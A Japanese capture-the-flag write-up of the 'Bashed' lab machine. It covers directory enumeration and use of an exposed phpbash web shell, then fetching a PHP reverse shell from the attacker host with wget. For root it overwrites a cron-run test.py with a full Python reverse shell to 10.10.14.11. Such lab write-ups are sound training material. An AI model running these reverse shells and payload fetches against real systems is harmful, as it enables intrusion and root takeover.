BashedはLinuxのマシンで、難易度はeasyです。

・使用ツール
gobuster
流れとしては、以下のようになっています。
1.gobusterでディレクトリ探索
2.phpbash.phpでbash起動
3.phpリバーシェルのペイロードを作成
4.wgetで作成したphpペイロードをダウンロード
5.phpペイロードにアクセスして、シェルを取得
6.ls -lでパーミッションを確認
7.test.pyの中身をリバーシェルに変えて管理者権限を取得
目次
1.Enumeration
nmpaでオープンポートが、80であることを確認

gobusterでディレクトリ探索をする
gobuster dir -u http://10.10.10.68 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster -t 100

検出したディレクトリ「/dev/」にアクセスする

「phpbash.php」を押下すると、bashが起動する

2.Exploitation
「sudo -l」コマンドで、sudoを実行するユーザーに許可されているコマンドを確認すると、任意のコマンドが実行できることを確認

「sudo -u scriptmanager bash -i」コマンドで、scriptmanagerのユーザでbashが実行できるか確認するが、コマンドは実行できない

リバースシェルを実行させる
PHPのリバースシェル用のペイロードをコピーし、ペイロードの中身のip,portを変更


ペイロードをダウンロードさせるために、webサーバを起動

作成したペイロードをダウンロードするが、権限がなく拒否される
wget http://10.10.14.11:8000/php-reverse-shell.php

/var/www/htmlのディレクトリに移動し、「ls -l」で権限のある「/var/www/html/uploads」を見つけたので移動する

アップロードが成功

アップロードしたURLを指定してアクセス
http://10.10.10.68/uploads/php-reverse-shell.php

シェルの取得が成功

以下のコマンドでシェルのアップグレードをする
python -c "import pty; pty.spawn('/bin/bash')"
ctl + z
stty raw -echo
fg

「sudo -u scriptmanager bash -i」コマンドを実行

3.Privilege Escalation
「ls -l」を実行すると、「scriptmanager」のユーザで所持している「scripts」を発見、移動する

ディレクトリを移動して、ディレクトリ内を確認すると、test.py,test.txtがある。
test.pyの中身を確認すると、rootが所有するtest.txtに書き込んでいることがわかる。
また、test.txtのタイムスタンプが毎分変わっているので、test.pyがrootによってcronで実行され、結果がroot.txtに記載されいていることがわかる。

test.pyの中身をリバースシェルに変えて、管理者権限を取得する
以下のURLを参考にリバースシェルを作成する
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
echo 'import socket,subprocess,os' > test.py
echo 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM)' >> test.py
echo 's.connect(("10.10.14.11",1235))' >> test.py
echo 'os.dup2(s.fileno(),0)' >> test.py
echo 'os.dup2(s.fileno(),1)' >> test.py
echo 'os.dup2(s.fileno(),2)' >> test.py
echo 'p=subprocess.call(["/bin/sh","-i"])' >> test.py

管理者権限が取得できた
